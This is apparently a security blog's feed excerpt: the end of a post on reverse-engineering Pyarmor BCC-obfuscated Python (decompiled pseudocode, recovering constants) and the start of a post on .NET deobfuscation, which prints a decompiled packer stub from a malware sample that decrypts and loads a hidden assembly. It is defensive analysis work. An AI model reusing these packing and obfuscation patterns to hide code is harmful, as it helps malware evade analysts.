  &lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Py_DecRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v12&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_GetAttr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v12&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Py_DecRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Py_DecRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;build_collection&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ftable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;build_collection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;++*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v14&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;build_collection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v15&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;call_python_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The code performs the following steps:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;A global variable is retrieved by name.&lt;/li&gt;
  &lt;li&gt;An attribute is retrieved from the object pointed to by the variable.&lt;/li&gt;
  &lt;li&gt;The retrieved attribute happens to be a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Callable&lt;/code&gt;, which is called at the end.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If we imagine the global was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sys&lt;/code&gt;, and the attribute was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exit&lt;/code&gt;, we’d have something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sys.exit(argument)&lt;/code&gt;.
The argument resides in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v26&lt;/code&gt;, which is initially set somewhere above in code not shown here; unfortunately, the decompiler doesn’t seem to understand the variadic nature of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;build_collection&lt;/code&gt; function and never shows more than two parameters (it also doesn’t offer the option to add them manually in this case).&lt;/p&gt;

&lt;p&gt;The example shows the effect of BCC mode: a single line of Python code is easily blown into 30 lines of C pseudocode.
While it’s not too hard to follow what’s going on, it’s not so easy to intuit at a glance what the code is doing as a whole.
Everything is quite spread out and interspersed with low-level details such as reference counting.&lt;/p&gt;

&lt;p&gt;If you analyze a BCC code blob, you’ll find that it doesn’t contain any strings to speak of, nor any other constants.
In the example above, we saw references such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v4[3]&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v4[4]&lt;/code&gt;.
This pattern can be found in all BCC functions, and the indexes mostly increase, with some rarely being reused.
It stands to reason that we found the usages of the constants - next, we need to figure out where to find the actual values.&lt;/p&gt;

&lt;h2 id=&quot;constant-in-all-other-things&quot;&gt;Constant In All Other Things&lt;/h2&gt;

&lt;p&gt;At the beginning of each BCC function you’ll see something like this:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8LL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Followed by references to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v4&lt;/code&gt; starting with array index &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The first question is, what is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a1&lt;/code&gt;?
We’ve seen that BCC functions are created as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyCMethod&lt;/code&gt; instances, which get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyObject *self&lt;/code&gt; as first parameter.
While normally, &lt;em&gt;method&lt;/em&gt; means a function that is part of a class and is invoked on object instances of said class, the Pyarmor authors decided to repurpose it: they pass &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;co_consts&lt;/code&gt; as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;self&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;co_consts&lt;/code&gt; of the example in the previous section looks like this: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(None, &apos;__pyarmor_bcc_54440__&apos;, (&apos;sys&apos;, &apos;exit&apos;))&lt;/code&gt;.
That last tuple looks interesting - it would be a good fit.
Thus, we’re looking for the access pattern tuple-in-a-tuple.&lt;/p&gt;

&lt;p&gt;The items in a (native) Python tuple start at offset 24, while the size resides at offset 16 (note: these values depend on the Python version and build settings).
With the knowledge that our tuple of interest is the last one, we can rewrite the code in multiple steps in order to make sense of it:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8LL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8LL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// last one in co_consts&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sys_str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// aka v4 + 24&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sys_str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;exit_str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// aka v4 + 24 + 8&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;exit_str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, it would be quite annoying to have to manually look up every single constant, especially in larger methods with dozens of values.
We developed an IDA script that works with the output of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bcc_info.py&lt;/code&gt; script and adds comments to all constant references in the decompiler view (&lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling/blob/main/ida_annotate_bcc.py&quot;&gt;ida_annotate_bcc.py on GitHub&lt;/a&gt;).
As an added bonus, it creates and names functions in the ELF if they don’t exist yet.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;Analyzing samples protected with BCC mode can be a formidable challenge, especially without tooling support.
The translation to C makes any existing tools that work with Python bytecode completely useless, and the clever separation of code and data adds further complications.&lt;/p&gt;

&lt;p&gt;We hope that this research and the support scripts we’ve provided will prove helpful to the community in analyzing threats protected with this obfuscation.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Pyarmor-Tooling repository on GitHub: &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling&quot;&gt;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Fri, 30 May 2025 12:30:00 +0000</pubDate>
        <link>https://cyber.wtf/2025/05/30/pyarmor-bcc-notes/</link>
        <guid isPermaLink="true">https://cyber.wtf/2025/05/30/pyarmor-bcc-notes/</guid>
        
        <category>pyarmor</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>.NET Deobfuscation</title>
        <description>&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;/h1&gt;

&lt;p&gt;In the last post, we ended up with a couple .NET Framework malware samples that had obfuscation applied to them.&lt;/p&gt;

&lt;p&gt;.NET is a runtime environment that executes intermediate code (CIL) in a managed way, using a just-in-time compiler to translate it into native machine code at runtime.
In order to make that possible, a .NET binary (more commonly called &lt;em&gt;assembly&lt;/em&gt;) has clearly laid out information about contained types, fields, methods, and more.
In short, there’s much more structure and less ambiguity when compared to native binaries, and there is very mature tooling support for working with those structures programmatically.&lt;/p&gt;

&lt;p&gt;This post will provide an overview over a couple of obfuscation techniques that are commonly encountered in .NET assemblies and how to deal with them.
Often, you’ll find tools that automatically deobfuscate everything for you, but the question is, what if those tools aren’t working correctly in your particular case?
It’s good to know how exactly they work their magic and, if required, to be able to fix or extend them.
At times, this post will take on a tutorial-like tone, because there are not many resources at all that explain how to extend de4dot.&lt;/p&gt;

&lt;h1 id=&quot;common-obfuscation-techniques&quot;&gt;Common obfuscation techniques&lt;/h1&gt;

&lt;p&gt;Our survey of techniques won’t be exhaustive, we will just look at some of the most commonly used ones.&lt;/p&gt;

&lt;p&gt;We’ll be working with &lt;a href=&quot;#de4dot-situation&quot;&gt;de4dot&lt;/a&gt;’s code, because it’s an excellent framework for .NET code deobfuscation.
It provides many little helpers and strategies that can be easily customized/extended to undo most common types of obfuscation.&lt;/p&gt;

&lt;h2 id=&quot;technique-packing&quot;&gt;Technique: Packing&lt;/h2&gt;

&lt;p&gt;The classic. The actual malware is encrypted and/or compressed, unpacked into memory at runtime, and then loaded into the process.
In most cases, this involves a more or less obvious call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Assembly.Load&lt;/code&gt;, followed by some reflection code to invoke a method and begin execution.&lt;/p&gt;

&lt;p&gt;Take, for example, the following decompiled code:&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;internal&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;SetupConnection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ResolverParamWrapper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;SortConnection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetTypes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ResolverParamWrapper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;factory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;QueryConnection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;First&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;()&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;InvokeMember&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MapperFactoryAdapter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;LoginConnection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;857235653&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1181772793&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;{&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b736177&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;9522&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a461&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;378&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c599d9c8d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_a5d71990efab4dc4a1801d81bc710517&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_327fb7ca8cde492882cd8691cd3b5b85&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BindingFlags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;InvokeMethod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Assembly&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;SortConnection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Assembly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ParamsConsumerComp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ResetConnection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetupConnection()&lt;/code&gt; is directly called by the entry point of the packed malware.&lt;/p&gt;

&lt;p&gt;Essentially, we have the following sequence of events:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SortConnection()&lt;/code&gt; is called.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ResetConnection()&lt;/code&gt; is called to retrieve a byte array. If we were to look into that method, we’d see a huge byte array of around 300 KB and some crypto logic.&lt;/li&gt;
  &lt;li&gt;The byte array is loaded as a new .NET assembly and returned.&lt;/li&gt;
  &lt;li&gt;Back in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetupConnection()&lt;/code&gt;, a type is looked up based on some criteria.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InvokeMember&lt;/code&gt; is used on the type to get execution going.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you’re wondering about the absurd method names: the obfuscator probably auto-generated them in some fashion to make things look somewhat legit when taking a very superficial glance.&lt;/p&gt;

&lt;p&gt;Apart from some light obfuscation (you might have noticed the XOR operations and long hexadecimal field names, which are part of a string encryption mechanism), this could be called a text book example of .NET packing.
Sometimes it won’t be quite so easy to spot - for example, the assembly loading could be buried deep into the call tree or control flow flattening might have been applied.&lt;/p&gt;

&lt;p&gt;The most straight-forward way of dealing with this is to load the sample in &lt;a href=&quot;https://github.com/dnSpyEx/dnSpy&quot;&gt;dnSpyEx&lt;/a&gt;, set a breakpoint in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Assembly.Load&lt;/code&gt;, and save the unpacked byte array to disk.&lt;/p&gt;

&lt;p&gt;Alternatively, a tool like &lt;a href=&quot;https://github.com/advanced-threat-research/DotDumper&quot;&gt;DotDumper&lt;/a&gt; could prove useful, especially in cases where the assembly loading part isn’t blatantly obvious in the packer.
DotDumper is a neat tool in general, since it can reveal quite a lot about a sample via hooking and detailed logging.&lt;/p&gt;

